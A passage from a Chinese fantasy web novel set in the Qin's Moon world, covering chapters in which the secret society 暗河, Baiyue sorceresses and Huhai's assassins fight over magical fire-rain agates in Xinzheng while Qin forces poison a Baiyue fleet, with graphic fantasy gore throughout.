数名暗河血鸦如鬼魅般倒悬而下,双剑直取魅姬咽喉!
“百越妖女,敢动公子要的人?!”
几乎同时,柴房四壁轰然倒塌!!!
更多的暗河**结阵突入,锁镰直取焰灵姬周身要害。
焰灵姬红袖翻卷,烈焰逼退锁镰,却见窗外箭矢如雨。
暗河**机封锁所有去路。
“麻烦。”
焰灵姬蹙眉,突然甩出七枚火羽炸开屋顶,“魅姬,走了!”
“可是这丫头…”
魅姬不甘地瞥向吓瘫的胡娘。
“废物!火雨玛瑙又不在她身上!”
焰灵姬化作流火冲天而起,“跟这些杂碎纠缠,是想等赢子夜亲自来逮你吗?”
魅姬咬牙甩出蛊雾阻敌,纵身跃入火海!
暗河**还要追击,却被血鸦卫喝止:“穷寇莫追!护人要紧!”
他扶起瑟瑟发抖的胡娘,发现她锁骨下的胎记正在渗血。
方才魅姬的梦蛊竟强行撕开了部分愈合的皮肉,露出底下玛瑙碎片的幽光!
“韩国…新郑…”
胡娘突然抓住血鸦卫的衣袖,瞳孔涣散,“父亲说…藏在郑庄公的…”
话未说完,又昏死过去。
血鸦卫们面色凝重,迅速取出药粉止血包扎。
同时。
暗河**们已清理完战场。
一名血鸦卫甩出响箭,夜空中炸开暗河集结信号,“即刻将这里的消息传讯主上!”
……
南疆。
中军大营。
赢子夜指尖正点在沙盘漓江水脉的节点上,帐内将领屏息凝神。
水纹在沙盘上随他指尖流转,仿佛真有一条巨龙在水底苏醒。
“蒙毅,领楼船士截上游,赵佗,率重**封锁回龙湾!”
他袖中甩出两枚玄色令箭,“记住,我要的是天泽那些破船困死江心,不是击沉。”
令箭尚未落入二人手中,赢子夜腰间玉珏便是突然灼热!
一道血色符文自虚空浮现,一名血鸦卫急促的声音直接灌入他识海。
“主上!火雨玛瑙确在新郑!焰灵姬没有和我们纠缠,已迅速遁走,去了郑地!”
帐中烛火被他袖袍猛然掀起的气浪扑灭!
整张沙盘随之震得细沙四散。
漓江水脉的刻痕被震裂,江势图样顿时模糊不清。
赢子夜眸中寒意彻骨,声音却平静得可怕:“撬开那女子的嘴,我要确切地点,还有!所有暗河成员即刻奔赴新郑,拦路者…尽屠!!”
通讯符熄灭的刹那,他反手捏碎代表百越水军的木雕舰队。
木屑纷飞中,看向少司命:“劳烦夫人走趟水路,替为夫给天泽送份‘大礼’。”
少司命紫纱轻拂,三片青叶钉入沙盘代表蛇谷的区域。
“那边尸傀门的余孽,已在布下毒瘴。”
“无妨。”赢子夜唇角勾起残忍的弧度。
“端木蓉方才送来一批新研制的剧**粉,专克百越的蛊虫与尸傀!!”
他从袖中取出一个玉匣,匣中封着数十粒黑紫色药丸,散发出令人作呕的甜香!
“将此投入蛇谷水脉。”
他冷声道,“告诉天泽,本公子送他的这份礼物,比百毒王亲手炼的还要烈!”
第198章 瓮中捉鳖?黄雀在后!
咸阳。
帝宫之学阁楼。
公输仇的青铜义肢正卡进机关鸢核心。
韩信突然按住他手腕:“这动静太大,就怕罗网的眼线发现我们。”
“发现不了!”
公输仇狂笑着拍下机括,整架机关鸢竟如活物般蜕下青铜外壳,化作普通盐车!
“老夫这‘金蝉脱壳’可是专门糊弄赵高的!”
一个时辰后。
盐车吱呀驶过街市。
车底暗格内,韩信正借着磷光研究农家暗渠分布图。
他突然隔着车底询问:“你的钻地鼠,能走通农家的田脉暗渠?”
“钻秦始皇陵都够用!”
公输仇抚脸沉思,“不过听说陵下有水银海,需阴阳家的避毒珠…”
“我不是说这个。”
韩信用指尖点向地图某处,“出了城我要走活水密道,公子派了惊鲵来接应我。”
他眼底闪过与年龄不符的老辣。
“所以你先得送我到接应地点,再南下。”
“那里还有农家弟子在等待,正好与你这些盐车伪装成押运队伍。”
公输仇肉痛得嘴角抽搐:“真麻烦…”
地面突然震动!
盐车下方传来机括咬合声。
韩信猛地掀开车板,只见他们不知什么时候已经来到了地下!
四周居然全部被掏空,十二具青铜机关兽正悄无声息滑入暗河。
“走吧。”
公输仇拽动机关绳,“该让百越蛮子见识下,什么叫真正的…地龙翻身!!!”
暗河水流湍急,韩信最后回望咸阳方向。
有鹞鹰掠过天际,爪间落下半片染血的罗网服饰。
他无声地笑了。
猎场已清,该出发了。
……
咸阳。
十八公子府。
密室内,烛火将胡亥扭曲的影子投在墙上。
他正用金簪一下下扎着木偶。
木偶胸口刻着“扶苏”二字,已被扎得千疮百孔。
“殿下!”黑袍部下踉跄扑入,“砀县密报,焰灵姬现身了,似乎…在找火雨玛瑙!”
金簪猛地钉穿木偶眼眶。
胡亥瞳孔兴奋收缩:“终于等到了…”
他突然揪住部下衣领:“派‘影狩’去抢!记住,要赶在六哥的人发现前得手!”
部下声音发颤:“可影狩只有十二人…是否请罗网…”
“这件事,不让老师参与,懂吗?!”
胡亥反手将金簪刺入他肩胛!
那名部下顿时血流如注,却又不敢发声!
“他若晓得影狩的存在,下一个被做成尸傀的就是你!”
部下忍痛跪地:“但赢子夜的暗河也在往砀县调动,光靠影狩恐怕…”
胡亥突然神经质地笑起来,扯下墙上南疆地图:“那正好让六哥的人…和百越妖女先拼个死活。”
他舔着金簪上的血:“等他们两败俱伤,影狩再出手收割!”
烛火噼啪炸响,映得他面容半明半暗。
“告诉影狩首领——带不回火雨玛瑙,就把他那些兄弟的头颅盛在盒子里送回来。”
窗外惊雷炸响!
胡亥痴迷地望着闪电,眼神因疯狂而闪烁:“有了火雨玛瑙…本公子便能拥有世间最炽烈的力量!”
他忽然掐住自己喉咙喘息。
“到时候,什么父皇、大哥、六哥…”
部下连滚带爬逃出密室时,最后听见的是胡亥癫狂的自语。
“…都得跪着舔本公子的靴子!!!”
“哈哈哈~!!”
……
另一边。
漓江的晨雾被战鼓声震碎。
蒙毅伫立楼船舰首,玄色令旗劈下,百艘艨艟突然从上游迷雾中冲出!!
铁索横江,瞬间截断百越水师退路。
“放火箭!”蒙毅声如洪钟。
带着端木蓉特制药粉的箭矢如蝗虫般扑向敌舰,却在触及船帆前被诡异的水墙拦下!
天泽的蛇形锁链竟从江底升起,搅动江水成幕!
“雕虫小技。”天泽立于主舰船头,锁链上的鳞片开合吞吐毒雾。
“就这点本事也敢拦本君?”
然而,下游回龙湾突然传来巨响!
赵佗的重**营竟将整座山崖轰塌,巨石如雨砸向试图突围的百越战船!!
水师副将惊慌奔来:“主上!退路被堵**,秦军像是要…”
“要瓮中捉鳖?”天泽狞笑。
“那得看他们的瓮够不够硬!”
锁链猛地刺入江心,水面顿时掀起数丈高的巨浪!
漓江本就奔腾湍急,此刻却像被一只无形巨手撕开,船底的木梁嘎吱作响,百越战船整排整排倾斜下沉。
甲板上的士兵们惊恐尖叫,拼命抓住桅杆和索具,却仍被乱流卷下!
“主上有令!弃船跳水!快!”副将声嘶力竭地吼叫。
刹那间!
数千百越士兵如惊弓之鸟,纷纷翻越舷栏跃入江中!
铁甲沉重者立刻被拖入暗流,挣扎着吐出最后一口血沫,浮上来的只剩空盔断甲。
有人试图成群结阵,结成水遁方阵,然而江底骤然涌起天泽的锁链,如狂**搅动江泥,硬生生在水下开辟出一条漩涡暗渠。
百越士兵被狂流裹挟着卷入水底,血与泥沙混成浓稠浆液,水遁之阵才成形便已四分五裂!
“游!往东游!江底有暗道!”驱尸魔在主舰高声咆哮。
溃逃的士兵们拖着同伴扑向水面,试图借江流遁逃。
然而下一瞬,下游水面却忽然亮起一片幽蓝光芒!
那光芒并非火焰,而是无数细碎光点在水面飘散,如同夜空繁星坠落江心,映得晨雾都透出森冷的青色。
百越士兵刚冲入这片水域,便有人发出凄厉惨叫。
他们的皮肤在接触水光的一瞬间迅速溃烂,血肉剥落,骨骼裸露!
更可怖的是,原本坚硬如铁的尸傀兵士,此刻在毒水中竟像蜡像般塌陷融化。
手臂先化作浆液,接着胸膛塌陷,最后连头颅都溶成一团灰白泡沫,随着水流翻滚四散!
只见少司命的紫衣在晨雾中若隐若现!
她足尖轻点过浮尸,所过之处江水尽染黛色!
“不好!”驱尸魔的骨杖剧烈震颤,“水里有毒!”
已经跳水的士兵突然发出惨叫,皮肤迅速溃烂露出白骨!
更可怕的是,那些浸泡过毒水的尸傀竟开始融化,像蜡像般瘫软在甲板上!
“怎么可能?!”天泽目眦欲裂。
他的尸傀乃用百种奇毒淬炼,早该百毒不侵!
少司命已飘至主舰三丈外,袖中飞出万千青叶,每片叶子都刻着阴阳家的净毒符。
“我家夫君托我带话,此毒名曰‘归尘’,专送诸位魂归天地!”
叶片炸裂成粉,毒雾随风笼罩整个舰队!
百越士兵成片倒下,身体碰触到毒雾后竟如沙雕般风化消散!!
连天泽的护体毒障都被蚀穿,锁
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链上的蛇鳞大片剥落。
“主上快走!”百毒王扑上来用身体挡住毒雾,枯瘦的身躯瞬间千疮百孔。
“这是…是专门针对蛊虫的…”
天泽暴怒地甩开他,六条锁链插入江底淤泥疯狂搅动,试图用泥沙沉淀毒素。
却发现毒雾遇水反而更加狂暴,甚至顺着锁链反向侵蚀!
“赢!子!夜!”
他对着虚空嘶吼,瞳孔中映出远方山巅那个玄色身影。
赢子夜正负手而立,冰冷地俯瞰这场**。
蛇谷方向突然传来凄厉的嘶鸣。
所有炼蛊池沸腾**,豢养的毒虫正在互相啃噬,连最深处的尸傀巢穴都渗出黑血!!
“回防!全军回防蛇谷!”天泽终于慌了。
但舰队早已陷入死局,**的战船正在缓缓沉没,江面上飘满融化到一半的尸骸!
百毒王拖着残躯爬来,七窍不断涌出毒虫。
“解药…需要活人试药…至少三千具新鲜…”
锁链猛地绞住他头颅!
天泽咬牙切齿,额头青筋暴起,对着剩余将领咆哮:“抓秦军!抓百姓!有多少抓多少!”
他突然割开自己手腕,黑血滴入江面竟暂时逼退毒雾。
“本君倒要看看,是赢子夜的毒厉害,还是百越的命硬!”
幸存的百越战舰发疯般冲向两岸,试图登陆掳掠活人。
却不知岸边的芦苇丛中,无数秦军**机正等待着狩猎时刻!
……
新郑郊外。
荒废矿洞深处,岩壁突然龟裂出蛛网般的赤纹!
魅姬的红纱无风自动,指尖蛊虫焦躁地振翅:“姐姐,看来是这里了…好强的火灵之力!”
焰灵姬赤足踏过灼热的地面,每步都在岩石上留下熔融的脚印。
她深吸一口气,锁骨处的火焰纹身灼灼发亮:“退后。”
双掌按上岩壁的刹那,整座矿洞轰然震颤!!
赤红的光芒从裂缝中迸射,魅姬惊叫着后退,袖口已被余焰燎着。
唯有焰灵姬立在爆裂的炎流中心,红发如烈焰般狂舞,贪婪地吸收着喷涌而出的火灵。
“天啊…”魅姬瞠目结舌地看着眼前景象。
矿脉深处嵌满鸽卵大小的火雨玛瑙,每颗都在自行燃烧,将洞穴映得如同炼狱熔炉。
炙热的空气扭曲翻腾,寻常金属触之即化!
“蠢货。”
焰灵姬的声音带着前所未有的愉悦震颤,“这些碎料也值得你失态?”
她指尖轻勾,一缕精纯火灵从矿脉深处抽出,在她掌心凝成跳动的金红色晶核。
“这才是火雨精华…够让天泽炼出十万尸蛊大军!”
魅姬艰难地咽了口唾沫:“可这么多玛瑙怎么运走?那些追兵肯定…”
“谁要这些垃圾?”焰灵姬嗤笑,任由掌心灵核灼穿岩层。
“天泽要的,是更精纯的……”
“放出蛊讯,让所有百越宗门来这儿‘朝圣’。”
她红瞳中闪过算计,“等他们和那些秦人杀得两败俱伤…”
突然。
矿脉深处传来龙吟般的嗡鸣!
焰灵姬猛地转头,眼中爆出狂喜:“原来还有‘地心火精’!”
她甩袖震开魅姬,“你去安排人手,本座要亲自取宝!”
魅姬撞在岩壁上呕出血,却不敢多言,连忙放出七彩蛊虫。
虫群穿透岩层飞向四面八方,将在方圆百里内的百越势力中引发疯狂!!
第199章 各方手段尽出!
一炷香后。
七彩蛊虫炸开的磷粉渐渐消散。
新郑地界已暗流涌动!
城西乱葬岗,土地突然翻涌,钻出数个身披腐殖苔藓的怪人。
百越“地尸门”弟子!
他们操纵的尸傀竟与泥土同色,移动时如地龙翻身。
“老祖宗显灵了!”
为首者贪婪地嗅着空气中弥漫的火灵气息,“得此宝,何须再惧阳光!”
数十具尸傀同时钻回地底,朝着矿脉方向急速潜行!
与此同时,城东胭脂铺后院水井泛起涟漪。
“凝冰阁”的女修们如冰雕般浮出井口。
为首的白发老妪杖尖轻点地面,井水瞬间冻结成镜,映出矿脉喷发的异象:“天赐寒髓竟与地火同源…夺宝!!”
更远处的山隘里。
“万兽宗”的驱兽师吹响骨笛。
密林中顿时窜出无数毒虫猛兽,踏着树梢如潮水般涌向新郑。
骑在巨**头上的紫袍老者癫狂大笑:“这些火雨玛瑙,正好喂我的宝贝们进阶!”
然而比他们更快的,是阴影中无声收缩的绞索!
“收网。”
血鸦卫的声音透过铜符传出,冰冷得仿佛从地底深渊传来。
刹那间,屋顶、地沟、枯井中同时浮现出无数黑影!
暗河死士们的面甲在火光中闪烁寒芒,动作整齐到没有一丝多余。
没有怒吼,没有呼喝,只有武器入鞘与掣出的冷响!
淬毒**箭疾啸而出,准确无误地钉穿所有暴露的喉咙与眉心。
鲜血喷涌,却没有惨叫!
百越门人甚至来不及发声,便成了无声的尸体!!
为首的血鸦卫缓步踏出,长剑横空劈落,试图土遁的地尸门长老连同脚下的泥土一并被搅碎!
碎骨与泥浆翻飞,剑尖仍旧冷冽无尘。
“主上有令。”他吐字如铁。
“矿脉三里之内——”
所有死士同时抬首,目光如同一口口漆黑的井,深不见底。
他们齐声低吼,声浪震得整座矿洞轰鸣:
“格杀勿论!!!”
……
新郑城郊的夜空很快就被地底透出的赤光染成血色!
数里外。
胡亥麾下的“影狩”统领猛地勒住缰绳,面具下的瞳孔剧烈收缩!
前方荒丘正在肉眼可见地熔解,岩浆如血脉般在地表蜿蜒!!
“那…那是什么怪物?!”年轻的影狩成员声音发颤,座下战马惊恐地人立而起。
统领反手一鞭抽在他脸上:“闭嘴!那就是殿下要的东西!”
他死死攥紧缰绳,指节因用力而发白。
怀中的感应罗盘正在发烫,指针疯狂旋转后炸裂成碎片!
仅仅是逸散的能量就摧毁了精密机关!!
远处传来凄厉的兽吼。
百越万兽宗的毒虫巨**正从林间涌过,所过之处草木枯焦!
更可怕的是地面不时隆起土包,那是地尸门的尸傀在潜行。
“统领,暗河的血鸦卫出现在东侧山隘!”
探子滚**背,肩头插着枚鸦羽镖,“我们被三面包围了!”
统领猛地拔出佩剑割破掌心,以血抹在其余影狩面具上:“听着!就算只剩一口气,也要把火雨玛瑙塞进肚子里带回去!”
他声音嘶哑得如同恶鬼,“想想殿下刑房里那些‘废物们’…”
“你们想变成那样吗?!”
所有影狩同时一颤,仿佛回忆起比死亡更恐怖的景象!
有人突然驱动战马冲向岩浆:“为殿下尽忠!”
“蠢货!从地走!”
统领甩出钩锁拽回部下。
然而,大地却突然剧烈震颤!
先是低沉的轰鸣自矿脉深处传来,像是千百只蛰伏的野兽同时苏醒。
岩壁上的赤纹迅速蔓延,宛如蛛网般爬满整个洞穴。
下一瞬,一道炽烈至极的火柱从矿脉核心喷薄而出!
赤红的岩浆与炽焰夹带碎石冲天而起,将夜空直接撕开一个狰狞窟窿!
云层在烈焰中被烧穿,边缘翻卷着宛如燃烧的血肉。
天地之间弥漫着焦灼的灰烬与呛人的硫磺气息!!
恐怖的能量波动如山洪暴发,猛然席卷整个矿区!
有人半空惨叫,血肉在炽焰中直接蒸发,只余下一具焦黑的骨架重重摔落。
还有人被轰起的岩石砸中,头颅像熟透的西瓜般炸裂开来!
烈焰卷过的地方,铁甲瞬间熔化,与皮肉黏连在一起。
更远处的百越宗门弟子同样遭殃。
地尸门的尸傀刚钻出地表,便被火浪当场点燃,焦臭的尸油炸开,化作一片移动的火海。
万兽宗驱使的毒虫兽群也在嚎叫中成片焚灭!
巨**的鳞片劈啪作响,翻滚挣扎着被火焰劈裂。
最后,只留下焦黑的脊骨!!
空气瞬间炙热到无法呼吸!
而幸存的影狩们,眼珠被灼得充血鼓起,他们嘶吼着挥刀乱劈,仿佛那样就能砍碎扑面而来的烈焰巨浪。
火光映照下,整片矿脉仿佛化作了一口巨大的火狱。
天地间只剩下燃烧的轰鸣
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,哀嚎惨叫,和扑腾乱飞的焦羽血雾!
“就是现在!”统领咆哮着扑向地面裂缝,“用血遁术!殿下赐下的保命之物全部催动!”
十二道血影如箭射向矿脉,皮肤在高温中迅速焦黑脱落!
有个年轻影狩在半途化作火球坠落,惨叫中竟还在嘶喊。
“殿下万岁——!”
统领最后回望了一眼咸阳方向。
他知道,就算成功夺宝,见过那些火雨玛瑙的人…也不可能活着留到最后。
在这局棋盘之外,胡亥定然还筹划了后手。
而他们,只是随时可舍弃的棋子……
但比起胡亥的手段,若能死在这矿脉之中,已是恩赐。
……
山巅狂风猎猎。
赢子夜的玄色大氅在身后翻卷如乌云。
脚下漓江的战事已近尾声。
燃烧的百越战船如同漂浮的柴堆,赵佗的重**营正在逐一点清除残敌。
“主上。”
暗河死士如鬼魅般从阴影中浮现,肩头深可见骨的伤口还在滴血。
“新郑急报,焰灵姬引爆矿脉,百越七宗等人尽数卷入,当地暗河损失过半。”
赢子夜指尖的金焰正捻着片枯叶。
闻言,叶片瞬间汽化!
“她倒是会挑时候。”
黑瞳扫过南疆战场。
“我军主力陷在此处,父皇的黑冰台又盯着北疆,并未插手…”
赵弋苍的铁面具下传出沉闷声响:“可否调王离的百战穿甲兵?”
“来不及。”
赢子夜袖中甩出三枚铜钱,在空中排成困卦。
“且穿甲兵擅平原作战,对付不了百越人的那些钻地尸傀。”
远处江面突然炸起巨浪!
少司命的紫衣如蝶掠过浪尖,指尖青叶正将最后几个百越长老钉入江底。
赢子夜眸光微动:“传讯儒家、法家、阴阳家的人,让他们带门下精锐去新郑。”
暗河死士迅速记下。
赵戈苍却又迟疑:“百家若得宝后私藏…”
赢子夜转身望向新郑方向,瞳中映出冲天火光!!
“只要不是最精纯的那些…私藏一点普通矿料倒也没什么,等他们先斗吧!”
“待三败俱伤时,再让‘夜枭’去收场。”
他轻抚腰间玉珏。
“记得把焰灵姬的右手带回来,本公子要瞧瞧,究竟是什么样的爪子,敢屡次伸进我的棋盘。”
话音刚落。
山风突然卷着血腥味扑来!
江面上,最后的百越战旗缓缓沉入血色江水。
第200章 主上有令,诛!
与此同时。
潮湿的溶洞中。
水珠顺着钟乳石滴在天泽肩头,发出令人心悸的轻响。
他蛇形锁链缓缓绞紧一份染血的战报,绢帛在鳞片摩擦间化为齑粉。
“主上,各部已撤至安全地带。”
无双鬼沉闷的声音在洞中回荡,巨躯上新增的箭伤还在渗着黑血,“还剩…还剩三万六千可战之兵。”
驱尸魔的骨杖重重顿地,杖顶骷髅眼眶中幽火跳动:“尸傀大军已全数唤醒,只待主上号令!是否即刻反扑秦狗?”
天泽突然冷笑,锁链猛地刺入岩壁。
“急什么?”
他舔着獠牙上沾到的血沫。
“赢子夜不是喜欢烧山吗?那就让他烧个够。”
锁链在沙盘上蜿蜒游走,点过几处险要山谷。
“无双鬼,你带五千人败退至黑风峡…败得像些,多丢些盔甲粮草。”
说话间,鳞片开合,弹出**,钉在峡口位置!
“等秦军追进峡谷,把上游的毒囊炸了!”
“妙啊!”
驱尸魔骨杖轻点,沙盘上浮现出毒雾弥漫的峡谷景象。
“那腐骨潭那边……”
“派毒蟾宗去。”
天泽锁链卷起代表秦军的木俑,扔进潭水标记,“让他们假装内讧,引得秦军来‘劝架’。”
他眼中幽光闪烁。
“等秦军踏入泥潭…让水下的尸傀好好招待。”
无双鬼掰着粗壮的手指计算:“那我们还剩的两万尸傀埋伏在哪?”
锁链突然刺入沙盘最深处的密林。
“这儿,万蛇谷西麓。”
天泽的蛇瞳兴奋收缩。
“赢子夜见我军‘溃败’,定会亲率主力追击——”
“等他的中军进谷…”
所有锁链猛然绷直!!!
“本君要让他亲眼看着玄鸟旗变成招魂幡!”
洞外。
突然传来翼蛇嘶鸣。
天泽甩出锁链卷来竹筒,扫过密信后突然狂笑。
“好!新郑那边得手了!”
他碾碎竹筒。
“告诉儿郎们,陪秦军好好玩玩,等本君取了火雨玛瑙…”
锁链轰然击碎沙盘,碎石四溅如星。
“我要用赢子夜的头骨…给百越炼新的圣蛊!!!”
……
新郑。
矿洞深处。
焰灵姬掌心托着一枚跳动的地心火精。
灼热的光芒将她的红发映照得如同流淌的熔岩!
四周岩壁上嵌满的火雨玛瑙在她力量牵引下纷纷剥离,如倦鸟归巢般投入她袖中流转的火焰漩涡。
“姐姐真是好手段~”
魅姬娇笑着避开一道失控的火流,指尖蛊虫却焦躁地振翅。
“不过这么多宝贝,咱们怎么…”
话音未落,焰灵姬突然将火精按入心口!
恐怖的热浪炸开!
将她锁骨处的火焰纹路灼成耀眼的金色!!
所有火雨玛瑙瞬间温顺如卵石,在她周身悬浮流转。
“不愧是火雨山庄真正的宝藏。”
她指尖轻勾,一枚形似凤羽的玛瑙赤晶从虚空浮现。
“至于这些碎料…”
随手抛给魅姬几颗,“赏你的。”
就在这时,洞外突然涌入大批百越宗门修士!
万兽宗的紫袍老者盯着玛瑙眼泛绿光:“见者有份!臭娘们,你休想独吞!”
地尸门的腐尸竟在玛瑙光辉下开始融化,首领惊怒交加:“快分我们些!否则…”
“否则如何?”
魅姬突然甩出天泽的蛇鳞令!
“主上吩咐,所有玛瑙需统一调配~”
她故意让令箭沾上蛊毒,几个靠近的修士顿时皮肤溃烂!!
“不过嘛…主上也说,立大功者可得赏赐~”
贪婪的喘息声顿时充斥矿洞!!
凝冰阁的老妪刚要开口,突然三枚铜钱破空而来,精准打灭最亮的三处火把!
黑暗降临的刹那,惨叫声撕裂空气。
“敌袭!”
万兽宗主刚吼出声,喉咙就被无形丝线割断。
地尸门操控的尸傀突然反扑主人,腐臭的指爪掏心挖肺!
魅姬的幻蛊刚要施展,却被暗河死士们的剑逼退!
“百越妖女,自掘坟墓?”
剑锋掠过她面颊,带走半片假皮。
黑暗之中,血鸦卫齐齐踏出。
他们的面具在火光中无声闪烁,手中**机齐鸣。
淬毒的箭矢宛如骤雨,精准射入百越修士眉心。
每一次扣机,都伴随着一条生命的终结。
没有呐喊,没有迟疑,只有杀戮的冷铁回响!!!
“杀。”
领首血鸦卫低沉吐出一个字。
骤然间,屋顶、地沟、阴影之中同时涌出暗河精锐。
他们的身影如鬼魅般掠动,长刀出鞘时不带一丝血花,敌人已被斩去喉咙。
空气
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里弥漫的,不是喊杀声,而是窒息的压迫!
为首的暗河死士一剑劈碎试图土遁的地尸门长老,冷声嗤笑:“就凭你们这群烂泥,还想在大秦地界打洞?”
他甩掉剑锋上的血,声音森寒。
“百越蛮子,就该缩回你们的毒沼里…不然,只配当我暗河的靶子!”
话音落下,所有暗河死士齐齐出手!
百越修士被瞬间割裂,惨叫声连成一片,却无人能挣脱。
血鸦卫的**机在阴影中一轮又一轮地收割,冷厉而精准。
整个矿洞,仿佛被肃杀的铁幕覆盖,再无生机!
焰灵姬怒极反笑,地心火精爆出刺目光芒!
“一群杂碎……”
话音未落,烈焰在她掌心轰然炸开,数名暗河精锐瞬间被焚成焦炭!
焰灵姬身影一掠,火鞭横扫,又将逼近的数十名死士卷入火海,哀嚎声此起彼伏。
魅姬也尖声一笑,袖中洒出漫天粉色蛊雾。
蛊虫化作无数细小的影子钻入敌人体内,顿时有暗河**浑身抽搐,眼珠翻白,惨嚎着倒地自咬舌尖。
但死士们并未退缩!
更多精锐的重**齐齐扣响!
淬毒的铁羽穿透火焰,钉**几名来不及闪避的百越弟子!
其中还有人冷声喝道:“杀光她们!!!”
杀戮的压迫力令整个洞窟震颤不休,岩壁簌簌崩落。
烈焰与蛊雾交织,空气中充斥血腥与焦臭!
焰灵姬浑身浴火,红发狂舞,火鞭卷起岩石与碎铁横扫而过,将两名死士直接拍得粉碎!
“找死!”
魅姬尖叫着,手中**反手挑开逼近的剑锋,眼中却闪过狠厉的光。
她猛然喷出一口精血,化作血雾屏障,硬生生阻挡住一轮箭雨!!
焰灵姬死死护住心口的赤晶玛瑙,胸口纹路剧烈跳动,鲜血不断自唇角溢出。
她狞声嘶喊:“天泽若得此物,必灭你们满门!”
“笑话!”
与她缠斗的血鸦卫非常强悍,长剑一劈,斩断她一缕燃烧的长发,冷声道:
“今日便叫你这百越妖女葬身于此!”
火光与血影疯狂交错,尸体在岩浆边堆积成山。
终于,焰灵姬身形一晃,喉咙溢出大口鲜血,气息骤然衰弱!
她咬牙喷出一口火精之力,烈焰腾空化作火凤虚影,将前方数十名死士逼退!
……
第201章 你们,不过是棋子罢了!!!
与此同时。
矿洞内霎时乱作一团!
地尸门长老刚操控尸傀扑向玛瑙堆,血鸦卫的剑已如毒蝶穿花。
剑尖点**傀眉心符咒,反手一撩削飞长老半片头皮!!!
“秦狗!”
万兽宗主厉啸,骨笛催动下三头毒**破土而出。
暗河**们如影随形,刀锋准确割断**眼!
血鸦卫重**轰鸣,淬毒铁羽将一头毒**钉死在岩壁上,鲜血如雨喷洒。
“凝冰阁,结阵!”
白发老妪杖尖点地,寒冰瞬间冻结十丈之地。
冰棱倒卷,斩碎了数名暗河死士!
同时,魅姬的红纱翻卷,幻蛊化作无数妖艳女子扑向暗河**。
但血鸦卫的阵型稳如磐石,**机射出的铁羽一枚枚穿透幻影。
魅姬猛然呕血,惨叫声中半边脸皮被震碎,露出狰狞蛊纹!
“姐姐!”
她嘶喊着,却见地心火精的光芒正从裂缝中透出!
焰灵姬怒吼着自熔岩中重塑身形,赤发狂舞,烈焰爆卷而出!!!
“都给我滚开!”
恐怖的火焰瞬间将凝冰阁的弟子汽化,连尸骨都未留下。
万兽宗的毒虫成片燃烧,化作飞灰。
暗河死士们硬生生扑上前去,用血肉之躯压制火焰的蔓延,数十人化为焦炭。
炭化的尸体倒下时,仍死死按住焰灵姬的脚步!
血鸦卫们见状,迅速疾退,甩出三十六枚铜钱,钱阵亮起寒光!
“结天罡阵!压住她的火势!”
焰灵姬尖笑,火精凝成凤凰虚影扑向阵眼。
瞬息之间,十数名死士被烈焰焚化,惨叫声震彻矿洞!!!
就在此时。
矿洞忽然骤冷!
火光照不到的阴影中,传来整齐的金铁摩擦声,像是无数利刃在磨齿。
下一瞬,十二道血影同时扑出,身法快得连火光都拖不住残影。
他们的面具漆黑无纹,只有眼眶中两点猩红鬼火。
十二道血刃同时出鞘,刀光交织成蛛网般封死所有退路,气息森冷到连火焰都被压得一黯!!
有人双手掐诀,幽蓝的阴火骤然在掌心燃起,逼得焰灵姬的烈焰生生压下一线。
有人袖口一抖,沙粒般的细粉随风洒出,落在岩石上立刻渗出黑斑,腥甜的气息扑面而来。
另有长剑寒光一闪,快到连火焰都映不出影子!
他们招式狠辣,直取咽喉,逼得对**皇后退!
更有几人趁乱丢出暗器,铜丸落地的刹那炸开,火光和金属碎片反射着岩浆的赤光,整个洞窟震得耳膜欲裂。
其余人身法怪诞。
有的像道家踢斗步,有的似农家杀招,甚至混杂着盗门、刺客之流的阴狠暗器……
十二道身影宛如十二条来自地狱的毒蛇,交错扑杀,将整个矿洞瞬间化为绝境!
他们不是同一宗门出身,而是被强行炼成的死士!
而为首者,脚步无声,身形却如弦上利箭,眨眼已逼至众人近前。
血刃划过岩壁,火星点点,坚硬的石壁竟被切出指宽的沟痕。
“主人有令。”
统领冷笑,声音嘶哑仿佛从喉骨深处磨出。
“玛瑙与女人,都要!!!”
话音未落,影狩们已经分散成诡异阵型,三人锁焰灵姬,三人缠住魅姬,余下六人交错如鬼魅,瞬息间斩杀了数名挡路的百越修士。
那些修士甚至来不及惨叫,喉咙已被细若游丝的血刃划开,鲜血喷溅在岩壁上,如同突开一片血莲。
暗河死士见状,同时出手!
刀锋森冷,却被影狩硬生生压制半分。
他们招式狠辣无比,不求自保,只求换命!
血鸦卫**机轰鸣,铁羽破空射来!
却被影狩交错的血刃轻轻一拨,竟然在半空折断!!
空气中,充斥着铁锈与血腥的味道。
这支**队伍,出场便如修罗降世,带着一股熟悉的疯癫与残酷,将矿洞中的杀意推到极致!
就在这时。
焰灵姬反手抓住一柄血刃,烈焰沿着刃身蔓延,将整条玄铁长刀熔成铁汁!!
“愚蠢的杂碎!”
血鸦卫的长剑随即斩来!
他,乃是血鸦卫首座!
血鸦卫这支队伍,就是以他的名字命名!
此时此刻,只见他全身披覆黑甲,剑身漆黑如夜,唯有刃锋燃着妖异的赤光!
每一次挥斩,剑气都在空气中撕开数丈长的血痕,仿佛整座矿洞都被劈裂!!
火焰与血刃激烈碰撞,洞窟剧烈震动!
岩壁簌簌坍塌,烈焰与血影交织成炼狱!
“女人。”
他的声音低沉如铁石撞击,震得火焰都为之一滞!
“你那点妖火,在我眼里,不过是纸灯烛火。”
焰灵姬赤足立于火流之上,红发飞舞,双眸燃着滔天烈焰。
她冷笑一声,火鞭猛然抽击,化作火凤扑向血鸦!
轰然爆响!
火凤与剑罡正面撞击,洞窟中响起刺耳的金铁摩擦声,火星与血光炸裂,冲击波震得数十名修士瞬间七窍流血!!
血鸦一步未退,剑锋却在高温下微微赤红,杀意反而更盛。
他猛地一震长剑,剑罡暴涨三丈,硬生生将火凤斩成两半!!!
“给我跪下!”
他怒吼,剑光如血瀑倾泻而下。
焰灵姬面色狰狞,双掌合拢,心口地心火精骤然迸射万丈火光,烈焰凝为凤凰虚影,怒啸着逆冲而上!
剑与火凤再度碰撞,轰鸣声震塌半边岩壁!
无数碎石滚落,炽烈的火浪与血色剑气交织,化作毁灭的风暴席卷四方。
一时间,谁也无法占到上风,整个矿洞仿佛成了两股至强力量的战场。
任何靠近的百越修士和死士,都被余波撕成齑粉!!!
而不远处,魅姬则是双手结印,蛊虫疯狂涌出,铺天盖地扑向暗河与影狩!
双方杀声震天,尸体已堆到玛瑙堆前!
血鸦卫长驱直入,铁羽钉死数十百越修士,**机的连射声如同丧钟。
“杀!一个不留!”
血鸦狞声嘶吼,死士们如修罗般收割生命!!
